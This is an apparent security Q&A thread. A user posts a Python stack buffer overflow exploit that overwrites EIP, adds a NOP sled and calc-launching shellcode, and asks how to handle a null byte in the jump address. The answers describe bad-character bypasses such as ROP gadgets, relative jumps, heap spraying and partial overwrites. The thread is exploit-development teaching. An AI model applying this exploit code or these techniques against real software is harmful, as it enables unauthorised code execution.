0

Here is my exploit:

junk = b'A' * 1032
​
eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives

shellcode = b""
shellcode += b"\x33\xc0"             # xor eax, eax
shellcode += b"\x50"                 # push eax
shellcode += b"\x68\x2E\x65\x78\x65" # push ".exe"
shellcode += b"\x68\x63\x61\x6C\x63" # push "calc"
shellcode += b"\x8B\xC4"             # mov eax, esp
shellcode += b"\x6A\x01"             # push 1
shellcode += b"\x50"                 # push eax
shellcode += b"\xBB\x30\xCD\x07\x77" # mov ebx, 7707cd30 (location of winexec)
shellcode += b"\xFF\xD3"             # call ebx
​
nopsled = b"\x90" * 30
​
with open("exploit.txt", "wb") as file:
    file.write(junk + eip + nopsled + shellcode)

EIP gets overwritten with the correct value, but it doesn't jump to the shellcode, is there something I am missing? I also tried with shellcode generated by msfvenom and it didn't work as well, so I think the problem is not the shellcode itself. I am 99% sure the problem is the \x00 from the EIP, but how can I omit it if the address of jmp esp contains it? There is no jmp esp in the binary without a leading \x00.

galoget
  • 1,414
  • 1
  • 9
  • 15
Toma
  • 121
  • 3

2 Answers2

1

You are right, the problem is the \x00 in EIP. This is commonly known as a bad character, you can find more bad chars here.

To bypass this issue, you need to use gadgets (Return-Oriented Programing) to jump to ESP, for example:

0x11223344 mov eax, esp
...
ret

And a second gadget that jump to EAX:

0x55667788 jmp eax
...
ret

In this case, the final exploit should be:

with open("exploit.txt", "wb") as file:
    file.write(junk + b"\x44\x33\x22\x11" + b"\x88\x77\x66\x55" + nopsled + shellcode)
galoget
  • 1,414
  • 1
  • 9
  • 15
St0rm
  • 527
  • 2
  • 9
0

While using ROP is a viable option, you don't have to use ROP. There are several viable options:

  • Use gadgets from a different .dll/.so library with a better base address
  • Use a relative jmp: jmp esp-8 and shift your payload by 8 bytes
  • Use a long NOP sled and jump to a fixed stack address which is hopefully within your NOP sled
  • If you control several registers load a pre-calculated address into say eax and use a gadget like sub eax-48;call eax to pivot to the jmp esp address
  • Spray the heap and overwrite EIP to a fixed address like 0x0c0c0c0c
  • Put the payload in the junk portion of your payload and find a gadget that increments esp enough to hit inside your junk space then returns. This way you can use a partial overwrite of the address leaving the largest byte with its original value. Given that you're overwriting a return address there is a chance it already contained 0x004a????

There are many ways to solve these corner cases and getting creative is certainly allowed.

wireghoul
  • 5,745
  • 2
  • 17
  • 26